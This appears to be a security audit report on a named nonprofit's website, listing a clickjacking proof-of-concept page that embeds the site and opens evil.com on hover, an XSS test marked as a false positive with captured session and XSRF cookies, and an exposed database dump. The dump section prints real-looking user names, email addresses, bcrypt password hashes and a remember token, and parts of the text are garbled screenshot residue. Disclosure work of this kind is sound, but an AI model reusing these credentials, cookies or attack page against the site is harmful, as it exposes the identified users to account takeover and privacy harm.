

Website name

https://habigonjzilasamiti.ssbmultiservices.com

1.Vulnerability name: Clickjacking: X-Frame-Options header

Vulnerable URL: https://habigonjzilasamiti.ssbmultiservices.com

CVSS: Base Score: 5.8

POC:



HTML File:

```
iframe{
width: 100%;
height: 600px;
border: none;
}
</style>
```

```
<title>Clickjacking PoC</title>

</head>

<body >

<a onmouseover="window.open('http://evil.com')" style="z-index:1;left:900px;position:relative;top:150px;font-size: 30px;text-transform: capitalize;color:red;text-decoration:none;font-style: normal;">clickjacking</a>

<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts"

style="opacity:1" src=" https://habigonjzilasamiti.ssbmultiservices.com">

</ifram>

</body>

</html>
```

This code save with html file and run this

The impact of this vulnerability:

The impact depends on the affected web application.

How to fix this vulnerability:

Configure your web server to include an X-Frame-Options header and a CSP header with frame-ancestors directive. Consult Web references for more information about the possible values for this header.

Recommendation

Configure your web server to include an X-Frame-Options header and a CSP header with frame-ancestors directive. Consult Web references for more information about the possible values for this header.


2.Vulnerability name: Cross site scripting

Vulnerable URL : [https://habigonjzilasamiti.ssbmultiservices.com/subscribe-register-form?plan=0%20onmouseover=Esxu\(99946\)%20y==](https://habigonjzilasamiti.ssbmultiservices.com/subscribe-register-form?plan=0%20onmouseover=Esxu(99946)%20y==)

POC: False Positive

→ ↻ 🔒 <https://habigonjzilasamiti.ssbmultiservices.com/index.php/subscribe-register> ☆ 🔔 🗄

etting Started Gmail YouTube fivrr GitHub Fcb Twitter TryHkMe Gogl Tra CyberDf LinkedIn HackerOr

 **Juktarastra Habigonj Zila Samiti Inc**
IRS Approved 501C(3) Not For Profit Organization

Membership Register Form

<input type="text"/>	<input type="text"/>	<input type="text"/>
<input type="text"/>	<input type="text"/>	<input type="text"/>
<input type="password"/>	<input type="password"/>	

Request

```
Pretty Raw Hex
1 GET /subscribe-register-form?plan=
0%20onmouseover=Esxu(99946)%20y== HTTP/2
2 Host: habigonjzilasamiti.ssbmultiservices.com
3 Cookie: PHPSESSID=
a27a3b32be16974cf39d6056a8f6afe8; XSRF-TOKEN=
eyJpdiI6ImpORk9mNVladiV2bVVYaWlIRGxFMFE9PSIsInZ
hbHVlIjoieVBkxNWpweWRHcjRVRDJtaXl0OUdtUy9iTiIwQW
VnK0lBdzFGZDd4RUhhYXlEWERYUTd6VXJvSEVlNEJjc2RzM
jR0YjhtUjd1QVNWtm9icXpoaUlpV3hPaUJ0RUlpUjZGZ0d5
SWZYVHNGS05uaFFMUlJ2SHBjeXF6emM4eEJDWlgiLCJtYWM
iOiI5Yjg2NDkxMGFlNGRlMTQwNTBkZmFhYjcyNmZiMjAxNT
cyNTczNDZkNjE4MGVhM2E5OWMxYTU2NWYyZExNTY3Iiwid
GFnIjoieInO%3D;
juktarastra habigonj zila samiti inc session=
```

Response

```
Pretty Raw Hex Render
1 HTTP/2 200 OK
2 Expires: Thu, 19 Nov 1981 08:52:00 GMT
3 Cache-Control: no-store, no-cache,
must-revalidate, no-cache, private
4 Pragma: no-cache
5 Date: Sat, 06 Jan 2024 15:39:18 GMT
6 Set-Cookie: XSRF-TOKEN=
eyJpdiI6InErZ0JQMlpVT080U1N6Z2tua2VvYnc9PSIsIn
ZhbHVlIjoieTBUEXdrQ1V2cW5ZMWZUL2krSGdCZ1VRcjdB
MGxLR1BRbVFudGllcnpEYnhuUnlMMjNTY3BSWGJ4NF1ZeV
J3RHZLZVJDUmprSFZ0YWlqNjlxY2hJZUdhYm92Y21CUSTo
ZWNPQ2JMeG9pY0N3OWV2OWlwbOpFNzRlcnNSM3JxaWwiLC
JtYWMiOiIxMzYwMjQ5MjU2ZmQ0YTc0Mjc2ZGRlMTViZTY2
NGJmZiY4NDZkNjE0ZTR0NDk0ZTRJmYiPjZDE5MWE5YmNiNz
```

3.Vulnerability name: **Sensitive Information Disclosure**

Severity:**High**

Vulnerable URL: <https://habigonjzilasamiti.ssbmultiservices.com/sql/laravel-habiganj.sql>

POC:

```
INSERT INTO `users` (`id`, `name`, `image`, `email`, `email_verified_at`, `password`, `remember_token`, `created_at`, `updated_at`) VALUES
(1, 'Giash Ahmed', NULL, 'giashahmed123@gmail.com', '2020-12-21 06:51:04', '$2b$10$RwNjM5mJvvvxdfgz0ms430B7n67C4bVV1mcIOHG6eFwCwBgDPjTPm',
NULL, '2020-12-21 06:51:04', '2020-12-21 06:51:04'),
(2, 'Bijoytech', 'upload/admin-image/img_1608973166_5fe6fb6ee289d.jpg', 'info@gmail.com', '2020-12-21 06:51:04',
'$2y$10$ycns9Fffqp.4C05xYNmvge0zZsD5M1B1.8qxwDI3iNcZ4eijUGy.e.', 'ZTFqdYZgQmfM2Jye9hIOFRy9ErF8R096yQLaDrJgSE50uhNztR69Gvid0Ugz', '2020-12-
21 06:51:04', '2020-12-26 02:59:26');
```

Impact:

These file(s) may disclose sensitive information. This information can be used to launch further attacks

Recommendation:

Sensitive files such as database backups should never be stored in a directory that is accessible to the web server. As a workaround, you could restrict access to these file(s).